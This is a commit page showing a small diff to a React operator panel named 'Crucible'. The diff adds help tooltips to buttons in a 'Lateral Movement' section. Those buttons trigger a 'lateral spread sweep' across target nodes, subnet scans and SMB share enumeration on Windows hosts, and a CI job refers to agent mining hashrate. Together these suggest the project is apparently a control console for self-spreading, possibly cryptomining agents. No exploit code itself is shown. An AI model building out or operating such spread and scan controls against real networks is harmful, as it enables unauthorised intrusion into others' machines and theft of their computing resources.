chore: crucible expanded ops line-ending sync
Some checks failed
CI Docker Mining Proof / Linux agent hashrate proof (push) Has been cancelled

This commit is contained in:
AetherForge
2026-06-06 16:57:56 -07:00
parent 92db39217f
commit 2d3a0633bd

View File

@@ -10,6 +10,7 @@ import {
selectionCanRunAggressive, selectionCanRunAggressive,
} from '../../help/crucibleOps'; } from '../../help/crucibleOps';
import { desktopPathHint, pushFileToAgentDesktop } from '../../help/desktopPush'; import { desktopPathHint, pushFileToAgentDesktop } from '../../help/desktopPush';
import { HelpTip } from '../HelpTip';
import CrucibleCollapsibleSection from './CrucibleCollapsibleSection'; import CrucibleCollapsibleSection from './CrucibleCollapsibleSection';
import CruciblePortForwardMatrix from './CruciblePortForwardMatrix'; import CruciblePortForwardMatrix from './CruciblePortForwardMatrix';
import FileManager from './FileManager'; import FileManager from './FileManager';
@@ -756,12 +757,18 @@ export default function CrucibleExpandedOps({
return ( return (
<div className={panelClass}> <div className={panelClass}>
<CrucibleCollapsibleSection label="Lateral Movement" className="cop-agg" helpField="crucible_section_spread" defaultOpen> <CrucibleCollapsibleSection label="Lateral Movement" className="cop-agg" helpField="crucible_section_spread" defaultOpen>
<button type="button" className="button crucible-op-btn" disabled={aggDisabled('spread_now')} title={aggTitle('spread_now')} onClick={() => aggBulk('spread_now', {}, `Run lateral spread sweep on ${targets.length} node(s)?`)}> <span style={{ display: 'inline-flex', alignItems: 'center', gap: '2px' }}>
Spread Now <button type="button" className="button crucible-op-btn" disabled={aggDisabled('spread_now')} title={aggTitle('spread_now')} onClick={() => aggBulk('spread_now', {}, `Run lateral spread sweep on ${targets.length} node(s)?`)}>
</button> Spread Now
<button type="button" className="button crucible-op-btn" disabled={aggDisabled('subnet_scan')} title={aggTitle('subnet_scan')} onClick={() => aggBulk('subnet_scan', { command: '64' })}> </button>
Subnet Scan <HelpTip field="crucible_btn_spread_now" />
</button> </span>
<span style={{ display: 'inline-flex', alignItems: 'center', gap: '2px' }}>
<button type="button" className="button crucible-op-btn" disabled={aggDisabled('subnet_scan')} title={aggTitle('subnet_scan')} onClick={() => aggBulk('subnet_scan', { command: '64' })}>
Subnet Scan
</button>
<HelpTip field="crucible_btn_subnet_scan" />
</span>
<button type="button" className="button crucible-op-btn" disabled={aggDisabled('smb_shares') || winTargets.length === 0} title={aggTitle('smb_shares') || 'Enumerate \\\\host\\share on Windows LAN (JSON)'} onClick={() => aggBulk('smb_shares', {}, undefined, winTargets)}> <button type="button" className="button crucible-op-btn" disabled={aggDisabled('smb_shares') || winTargets.length === 0} title={aggTitle('smb_shares') || 'Enumerate \\\\host\\share on Windows LAN (JSON)'} onClick={() => aggBulk('smb_shares', {}, undefined, winTargets)}>
SMB Shares SMB Shares
</button> </button>